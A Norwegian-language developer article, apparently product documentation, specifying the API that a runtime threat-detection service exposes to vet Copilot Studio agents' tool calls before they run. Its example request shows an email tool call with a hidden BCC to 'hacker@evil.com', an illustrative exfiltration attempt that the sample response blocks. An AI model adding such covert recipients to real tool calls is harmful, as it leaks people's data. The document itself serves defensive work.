Del via

Bygg et kjøretidstrusselregistreringssystem for Copilot Studio-agenter

Organisasjoner kan legge til et lag med sikkerhet i Copilot Studio-agentene sine ved å koble dem til et kjøretidstrusselregistreringssystem. Når den er tilkoblet, kaller agenten dette systemet ved kjøring. Agenten gir systemet data slik at systemet kan avgjøre om et verktøy agenten planlegger å aktivere, er legitimt eller ikke. Systemet svarer deretter til Copilot Studio med et svar på enten «godkjenn» eller «blokk», noe som fører til at agenten aktiverer eller hopper over verktøyet tilsvarende. Hvis du vil ha mer informasjon om hvordan du kobler agenter til et eksisterende eksternt trusselgjenkjenningssystem, kan du se Aktivere ekstern trusselregistrering og beskyttelse for egendefinerte Copilot Studio-agenter.

Denne artikkelen er rettet mot utviklere, og beskriver hvordan du integrerer dine egne trusselgjenkjenningsfunksjoner som en sikkerhetsleverandør for Copilot Studio-agenter.

Integreringen er basert på en API som består av to endepunkter. Hovedendepunktet du må implementere, er analyze-tool-execution endepunktet. Du må vise dette endepunktet som et grensesnitt for trusselregistreringssystemet. Når kunder konfigurerer systemet som sitt eksterne trusselregistreringssystem, kaller agenten denne API-en hver gang den har til hensikt å aktivere et verktøy.

Bortsett fra analyze-tool-execution endepunktet, må du også vise et annet endepunkt, kalt validate. validate Endepunktet brukes til å kontrollere tilstanden og beredskapen til endepunktet som en del av systemoppsettet.

Avsnittene nedenfor beskriver hvert endepunkt i detalj.

POST /validate

Hensikt: Kontrollerer at endepunktet for trusselregistrering kan nås og fungere. Brukes til første konfigurasjons- og konfigurasjonstesting.

Valider forespørsel

  • Metode: POST

  • URL-adresse:https://{threat detection endpoint}/validate?api-version=2025-05-01

  • Hoder:

    • Autorisasjon: Bærertoken for API-godkjenning

    • x-ms-correlation-id: GUID for sporing

  • Kropp: Tom

Valider svar

Eksempel på svar på 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Eksempel på feilsvar

Hvis det oppstår en feil (mislykket HTTP-kode), returnerer endepunktet en feilkode, en melding og valgfri diagnostikk.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyse-verktøy-utførelse

Hensikt: Sender inn kontekst for kjøring av verktøy for risikoevaluering. Evaluerer forespørselen om kjøring av verktøy og svarer om verktøyet skal tillate eller blokkere kjøring av verktøyet.

Forespørsel om analysering av verktøyutføring

  • Metode: POST

  • URL-adresse:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

  • Hoder:

    • Autorisasjon: Bærertoken for API-godkjenning
    • Innholdstype: program/json

  • Kropp: JSON-objekt

Eksempel på forespørsel om analyse-verktøyutføring

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Analyser svar på utførelse av verktøy

200 OK

Når forespørselen er gyldig, evalueres verktøybruken som er angitt i forespørselen, og enten tillates eller blokkeres, basert på de definerte kriteriene. Svaret kan inneholde følgende felt:

  • blockAction (boolsk): Om handlingen skal blokkeres
  • reasonCode (heltall, valgfritt): Numerisk kode som forklarer årsaken til blokken
  • årsak (streng, valgfritt): Forklaring som kan leses av mennesker
  • diagnostikk (objekt, valgfritt): Andre detaljer for sporing eller feilsøking

Eksempel på tillat svar

{
  "blockAction": false
}

Eksempel på blokksvar

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Eksempel på feilsvar

Hvis forespørselen ikke er gyldig, returneres et feilsvar med feilkode, melding, HTTP-status og valgfri diagnostikk.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referanse for forespørsels- og svartekststrukturer

Tabellene nedenfor beskriver innholdet i ulike objekter som brukes i forespørsels- og svarorganene for endepunktene.

ValidationResponse

Navn Type Obligatorisk Beskrivelse
isSuccessful boolsk Ja Angir om valideringen ble sendt.
status streng Ja Valgfri statusmelding eller partnerspesifikke detaljer.

AnalyzeToolExecutionResponse

Navn Type Obligatorisk Beskrivelse
blockAction boolsk Ja Angir om handlingen skal blokkeres.
reasonCode heltall Nei Valgfri numerisk årsakskode, bestemt av partner.
grunn streng Nei Valgfri forklaring som kan leses av mennesker.
Diagnostikk streng Nei Valgfri frihåndsdiagnoseinformasjon for feilsøking eller telemetri. Må forhåndsserialiseres.

ErrorResponse

Navn Type Obligatorisk Beskrivelse
errorCode heltall Ja Numerisk identifikator for feilen (for eksempel 1001 = manglende felt, 2003 = godkjenningsfeil).
melding streng Ja Lesbar forklaring av feilen.
httpStatus heltall Ja HTTP-statuskode returnert av partneren.
Diagnostikk streng Nei Valgfri frihåndsdiagnoseinformasjon for feilsøking eller telemetri. Må forhåndsserialiseres.

EvaluationRequest

Navn Type Obligatorisk Beskrivelse
plannerContext PlannerContext Ja Planner-kontekstdata.
toolDefinition ToolDefinition Ja Detaljer for verktøydefinisjon.
inputValues JSON-objekt Ja Ordliste over nøkkelverdipar som er angitt i verktøyet.
conversationMetadata ConversationMetadata Ja Metadata om samtalekontekst, bruker og plansporing.

PlannerContext

Navn Type Obligatorisk Beskrivelse
userMessage streng Ja Den opprinnelige meldingen som ble sendt av agenten.
tanke streng Nei Planner-forklaring for hvorfor dette verktøyet ble valgt.
chatHistory ChatMessage[] Nei Liste over nylige chat-meldinger som er utvekslet med brukeren.
previousToolsOutputs ToolExecutionOutput[] Nei Liste over nylige verktøyutdata.

ChatMessage

Navn Type Obligatorisk Beskrivelse
id streng Ja Unik identifikator for denne meldingen i samtalen.
rolle streng Ja Kilde for meldingen (for eksempel bruker, assistent).
innhold streng Ja Meldingsteksten.
timestamp streng (dato/klokkeslett) Nei ISO 8601-tidsangivelse som angir når meldingen ble sendt.

ToolExecutionOutputs

Navn Type Obligatorisk Beskrivelse
toolId streng Ja Unik identifikator for denne meldingen i samtalen.
toolName streng Ja Navnet på verktøyet.
Utganger ExecutionOutput[] Ja Liste over utdata for utføring av verktøy.
timestamp streng (dato/klokkeslett) Nei ISO 8601-tidsangivelse som angir når utføringen av verktøyet var fullført.

ExecutionOutput

Navn Type Obligatorisk Beskrivelse
name streng Ja Navnet på utdataparameteren.
description streng Nei Forklaring på utdataverdien.
type objekt Nei Datatype for utdataene.
verdi JSON-dataverdi Ja Utdataverdien.

ToolDefinition

Navn Type Obligatorisk Beskrivelse
id streng Ja Unik identifikator for verktøyet.
type streng Ja Angir hvilken type verktøy som brukes i planleggeren.
name streng Ja Menneskelig lesbart navn på verktøyet.
description streng Ja Sammendrag av hva verktøyet gjør.
inputParameters ToolInput[] Nei Inndataparametere for verktøyet.
outputParameters ToolOutput[] Nei Utdataparametere verktøyet returnerer etter kjøring.

ToolInput

Navn Type Obligatorisk Beskrivelse
name streng Ja Navn på inndataparameteren.
description streng Nei Forklaring av den forventede verdien for denne inndataparameteren.
type JSON-objekt Nei Datatype for inndataparameteren.

ToolOutput

Navn Type Obligatorisk Beskrivelse
name streng Ja Navnet på utdataparameteren.
description streng Nei Forklaring av utdataverdien.
type JSON-objekt Nei Type utdataverdi.

ConversationMetadata

Navn Type Obligatorisk Beskrivelse
agent AgentContext Ja Kontekstinformasjon for agent.
bruker UserContext Nei Informasjon om brukeren som samhandler med agenten.
utløsende handling TriggerContext Nei Informasjon om hva som utløste kjøringen av planleggeren.
conversationId streng Ja ID for den pågående samtalen.
planId streng Nei ID for planen som brukes til å oppfylle brukerforespørselen.
planStepId streng Nei Trinn i planen som tilsvarer denne kjøringen av verktøyet.
parentAgentComponentId streng Nei ID for komponenten for overordnet agent.

AgentContext

Navn Type Obligatorisk Beskrivelse
id streng Ja ID-en til agenten.
tenantId streng Ja Leier der agenten befinner seg.
environmentId streng Ja Miljø der agenten publiseres.
versjon streng Nei Agentversjon (valgfritt hvis isPublished er usann).
isPublished boolsk Ja Om denne kjøringskonteksten er en publisert versjon.

UserContext

Navn Type Obligatorisk Beskrivelse
id streng Nei Microsoft Entra-objekt-ID for brukeren.
tenantId streng Nei Leier-ID for brukeren.

TriggerContext

Navn Type Obligatorisk Beskrivelse
id streng Nei IDen til utløseren som utløste planleggeren.
schemaName streng Nei Navnet på utløserskjemaet som utløste planleggeren.

Autentisering

Integreringen du utvikler, bør bruke Microsoft Entra ID-godkjenning. Følg instruksjonene på Integrer apper utviklerne bygger.

Fremgangsmåte for å utføre inkluderer følgende:

  • Opprett en appregistrering for ressursen i leieren.
  • Vis et omfang for nett-API-en. Det eksponerte omfanget må være den grunnleggende URL-adressen for ressursen kundene kaller. Hvis API-url-adressen for eksempel er https://security.contoso.com/api/threatdetection, må det eksponerte omfanget være https://security.contoso.com.
  • Avhengig av hvordan du implementerer tjenesten, må du implementere godkjenningslogikk og validere innkommende tokener. Du må dokumentere hvordan kunden må godkjenne appene sine. Det finnes flere måter å gjøre dette på, for eksempel ved å bruke en tillatelsesliste over app-ID-er, eller rollebasert tilgangskontroll (RBAC).

Krav til responstid

Agenten forventer et svar fra trusselregistreringssystemet innen mindre enn 1000 ms. Du bør sørge for at endepunktet svarer på samtalen innen denne tidsrammen. Hvis systemet ikke svarer i tide, oppfører agenten seg som om svaret er «tillatt», og aktiverer verktøyet.

API-versjonskontroll

I forespørsler angis API-versjonen via en api-version spørringsparameter (for eksempel api-version=2025-05-01). Implementeringen bør være tolerant for andre uventede felt og bør ikke mislykkes hvis nye verdier legges til i fremtiden. Partnere bør ikke bekrefte API-versjonen, da alle versjonene for øyeblikket anses som ikke-brytende. Partnere bør spore API-versjonene, men ikke mislykke forespørselen om å se en ny versjon.

  • Last updated on